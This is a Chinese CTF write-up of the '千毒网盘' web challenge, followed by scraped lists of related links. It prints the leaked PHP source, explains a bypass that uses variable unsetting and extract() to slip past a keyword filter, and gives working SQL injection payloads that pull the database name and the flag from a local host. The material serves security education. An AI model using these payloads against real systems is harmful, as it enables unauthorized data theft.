第六届上海市大学生网络安全大赛__千毒网盘
千毒网盘
复现题目,变量销毁和变量重置,sql注入(本地环境有点问题)
文章目录
- 千毒网盘
- 源码泄露
- 变量销毁和变量重置
- sql注入
- 参考链接
源码泄露
源码泄露,找到www.zip,下载,里面有两个文件,index.php
和code.php
index.php
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"><title>千毒网盘</title>
</head>
<body>
<div class="container">
<div class="page-header"><h1>千毒网盘 <small>提取你的文件</small></h1></div><div class="row clearfix"><div class="col-md-4 column"></div><div class="col-md-4 column"><br><form role="form" action='/index.php' method="POST"><div class="form-group"><h3>提取码</h3><br><input class="form-control" name="code" /></div><button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button></form> <br><?phpinclude 'code.php';$pan = new Pan();foreach(array('_GET', '_POST', '_COOKIE') as $key){ if($$key) {foreach($$key as $key_2 => $value_2) { if(isset($$key_2) and $$key_2 == $value_2) unset($$key_2); }}}if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);if($_GET) extract($_GET, EXTR_SKIP);if($_POST) extract($_POST, EXTR_SKIP);if(isset($_POST['code'])){$message = $pan->getfile();echo <<<EOF<div class="alert alert-dismissable alert-info"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button><h4>注意!</h4> <strong>注意!</strong> {$message}</div>
EOF;}?></div><div class="col-md-4 column"></div></div></div>
</div>
</body>
</html>
code.php
<?phpclass Pan
{public $hostname = '127.0.0.1';public $username = 'root';public $password = 'root';public $database = 'ctf';private $mysqli = null;public function __construct(){$this->mysqli = mysqli_connect($this->hostname,$this->username,$this->password);mysqli_select_db($this->mysqli,$this->database);}public function filter($string) {$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);if($safe === 0){return $string;}else{return False;}}public function getfile(){$code = $_POST['code'];if($code === False) return '非法提取码!';$file_code = array(114514,233333,666666);if(in_array($code,$file_code)){$sql = "select * from file where code='$code'";$result = mysqli_query($this->mysqli,$sql);$result = mysqli_fetch_object($result);return '下载直链为:'.$result->url;}else{return '提取码不存在!';}}}
变量销毁和变量重置
为什么要整这个东西呢?
因为要绕过filter这个过滤,先把变量给销毁,然后通过extract重置变量
本地测试
<?php
foreach(array('_GET', '_POST', '_COOKIE') as $key){echo "1*********\n";print_r($key);if($$key) {//其实也就是$_GETecho "2*********\n";var_dump($$key);foreach($$key as $key_2 => $value_2) {echo "3*********\n";var_dump($key_2);echo "4*********\n";var_dump($value_2);echo "5*********\n";var_dump($$key_2);if(isset($$key_2) and $$key_2 == $value_2)unset($$key_2);}}}
传参测试
GET传参
?_GET[a]=1
POST传参
a=1
这个得出的结果是
$key2 = _GET
$$key2 = $_GET
$value_2 = a=>1$$key_2 == $value_2 不成立
换用POST传参
GET传参
?_POST[a]=1
POST传参
a=1
这个得出的结果是
$key_2 = _POST
$value_2 = a=>1
$$key_2 = a=>1
$$key_2 == $value_2 成立
可以利用这个进行销毁$_POST,之后再重置变量即可
sql注入
http://127.0.0.1/test/index.php?_POST[code]=114514' or 1=1%23
post传参
code=114514' or 1=1%23
查字段数目,我在本地复现用了三个字段,所以到4就会报错
查看数据库
http://127.0.0.1/test/index.php?_POST[code]=114514' and 0=1 union select 1,2,database()%23
POST传参
code=114514' and 0=1 union select 1,2,database()%23
本地环境有点问题,直接整flag了
查看flag
http://127.0.0.1/test/index.php?_POST[code]=114514' and 0=1 union select 1,2,flag from ctf.flag%23
POST传参
code=114514' and 0=1 union select 1,2,flag from ctf.flag%23
参考链接
- 千毒网盘_Marsper的博客-CSDN博客
- 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘_末初 · mochu7-CSDN博客
第六届上海市大学生网络安全大赛__千毒网盘相关推荐
- 第六届上海市大学生网络安全大赛 | Wp
文章目录 MISC 0x00:签到 0x01:pcap 0x02:pcap analysis 0x03: 可乐加冰 Web 0x01:千毒网盘 MISC 0x00:签到 linux运行一下即可得到fl ...
- “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup
文章目录 checkin project JumpJumpTiger where_can_find_code 题目附件请自取: 链接:https://pan.baidu.com/s/1T9nG-CDg ...
- 上海市大学生网络安全大赛题解
利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们.比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 w ...
- 第六届山东省大学生网络安全技能大赛决赛Writeup
0x00 RSA1 首先使用python脚本或者openssl解出n python脚本 from Crypto.PublicKey import RSA pub = RSA.importKey(ope ...
- 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘
根目录/www.zip有源码 index.php <html lang="en"> <head><meta charset="UTF-8&q ...
- 2019上海市大学生网络安全大赛部分web题解
前言 这周六有这个比赛,学到了一个骚姿势,在这里记录一下. easysql 题目是easysql,看到这个题目感觉问题不是这简单. 打开题目发现是一个未完成的页面,发现可能存在sql注入. 通过简单的 ...
- 物流设计大赛优秀作品_重磅!312支高校战队入围!谁主第六届全国大学生物流设计大赛复赛...
中国物流与采购联合会培训部通知如下: 各有关院校: "马钢杯"第六届全国大学生物流设计大赛的初赛评审工作已经结束. 本届大赛共有580支参赛队取得参赛资格.大赛得到马钢集团的大力支 ...
- 计算机科学素养大赛,第六届全国大学生计算机应用能力与信息素养大赛圆满结束...
原标题:第六届全国大学生计算机应用能力与信息素养大赛圆满结束 第六届全国大学生计算机应用能力与信息素养大赛圆满结束 经过了激烈角逐,第六届全国大学生计算机应用能力与信息素养大赛于2016年5月22日在 ...
- 天津计算机比赛,国际传媒学院学生在“‘中科曙光’杯第六届中国大学生计算机设计大赛天津市级赛”中屡创佳绩...
5月24日,2013年"中科曙光"杯第六届中国大学生计算机设计大赛天津市级赛在南开大学二主楼B105教室隆重开幕.南开大学.天津大学.天津师范大学.天津外国语大学.天津科技大学.天 ...
最新文章
- ORB_SLAM2帧Frame
- 开发视频监控系统纪实 四 开康开发dll 修正
- 084_html5WebWorkers
- 操作系统源代码_国产操作系统“之光”?Windows XP绝密源代码泄露,BT种子已在网上疯传...
- 08-图9 关键活动 (30 分
- arm ida 伪代码 安卓 符号表_IDA 制作 sig文件 gdb 导入符号表
- 2万字,看完这篇才敢说自己真的懂线程池!
- 【规范化标准】之 ESLint、Stylelint
- foreach 和 map_每个开发人员都应该知道的forEach()和map()之间的差异
- php文件下载不完整,求帮看下这段PHP下载MP4文件的有关问题,文件下载不完整
- 阿里架构师教你处理高并发:2种方法,解决Redis和Mysql一致性
- 查看各类型数据库版本的SQL(Oracle/DB2/SQL Server/PG/MySQL)
- Linux 脚本开机自启的几种方法
- 怎么用计算机测出来体脂,keep软件测体脂率的在哪 keep怎么测体脂
- C++扑克牌类的设计
- Unity3D之简单AR游戏
- 网页文字无法复制,怎么办?
- linux上查看端口信息
- 【关于2022年卡塔尔世界杯】
- php相同数据合并单元格,jQuery_基于jQuery的合并表格中相同文本的相邻单元格的代码,ONE
已经生成的数据表格大致 - phpStudy...
热门文章
- python推送企业微信机器人2-markdown类型
- vue+elementUI表格关键字筛选高亮
- VS中ID号的格式ID_,IDS_,IDC_之间有什么区别
- 同人文生成器狗屁不通文章生成器各种生成器 简易写法
- DataFrame统计运算
- ios weak和unown_Unowned 还是 Weak?生命周期和性能对比
- thymeleaf的学习1----------------摸鱼王的日常学习
- linux中括号 美元符号怎么打,javascript – 美元符号后跟模板字符串中的方括号
- 车载lin通信协议栈_车载手机无线充电
- 关于“文件或目录损坏且无法读取” 的 CHKDSK 修复方法